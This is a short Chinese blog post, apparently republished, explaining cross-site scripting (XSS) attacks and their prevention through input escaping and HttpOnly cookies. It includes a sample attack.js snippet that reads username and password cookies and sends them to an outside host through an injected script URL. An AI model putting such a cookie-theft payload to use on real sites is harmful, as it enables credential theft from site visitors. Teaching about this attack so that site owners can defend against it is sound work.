title: XSS攻擊
date: 2023-08-27 19:15:57
tags: [XSS, 網(wǎng)絡(luò)安全]
categories: 網(wǎng)絡(luò)安全
今天學(xué)習(xí)了一個網(wǎng)絡(luò)攻擊的手段，XSS攻擊技術(shù)，大家自建網(wǎng)站的朋友，記得看看是否有此漏洞。
?? XSS 攻擊
全稱跨站腳本攻擊 Cross Site Scripting。
為了與重疊樣式表 CSS 進行區(qū)分，所以換了另一個縮寫名稱 XSS。
XSS攻擊者通過篡改網(wǎng)頁，注入惡意的 HTML 腳本，一般是 javascript，在用戶瀏覽網(wǎng)頁時，控制用戶瀏覽器進行惡意操作的一種攻擊方式。
XSS 攻擊經(jīng)常使用在論壇，博客等應(yīng)用中。攻擊者可以偷取用戶Cookie、密碼等重要數(shù)據(jù)，進而偽造交易、盜取用戶財產(chǎn)、竊取情報等私密信息。
就像上圖，如果用戶在評論框中輸入的并不是正常的文本，而是一段 javascript 腳本，而后臺又沒對該用戶的數(shù)據(jù)進行處理，直接存入數(shù)據(jù)庫，那么當(dāng)其他用戶過來訪問該頁面，瀏覽器必然會執(zhí)行這段腳本
當(dāng)然這只是惡趣味，而真正的黑客并不會僅僅滿足這樣的惡趣味，可能更多的是想通過這些 注入腳本，獲取你的 個人信息 ，甚至是你的賬號密碼等信息。
由上圖可知，用戶其實在評論的時候，引入了一個第三方腳本，在這個腳本中獲取你瀏覽器的 cookie 信息，并發(fā)送到指定的接口進行保存處理，這樣你的信息就已經(jīng)泄露了:
// attack.js 中的邏輯
var uname = $.cookie('username'); // 獲取賬號
var pwd = $.cookie('password'); // 獲取密碼
// 發(fā)送請求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
在上面邏輯中，腳本中獲取了你的個人信息，并將你的個人信息發(fā)送到后端 php 文件中進行處理保存，這樣你的個人信息就已經(jīng)泄露了，所以杜絕 xss攻擊 在網(wǎng)絡(luò)安全中非常的重要
所以后端永遠不要相信用戶提交的數(shù)據(jù)，在接收用戶提交的信息時候，要進行 消毒處理
也就是過濾一些特殊的字符，比如 javascript 腳本中的 <> 進行轉(zhuǎn)移 <> 再進行存儲，這樣就能有效的進行 xss 攻擊的預(yù)防
另外如果 cookie 中設(shè)置了 HttpOnly 屬性，那么通過 js 腳本將無法讀取到cookie 信息，這樣也能有效的防止 XSS 攻擊竊取 cookie 內(nèi)容
文章來源：http://www.zghlxwxcb.cn/news/detail-677223.html
好記性不如爛筆頭。文章來源地址http://www.zghlxwxcb.cn/news/detail-677223.html
到了這里，關(guān)于XSS攻擊是怎么回事？記錄一下的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
![[網(wǎng)絡(luò)安全]XSS之Cookie外帶攻擊姿勢及例題詳析（基于DVWA靶場）](https://imgs.yssmx.com/Uploads/2024/02/719939-1.png)
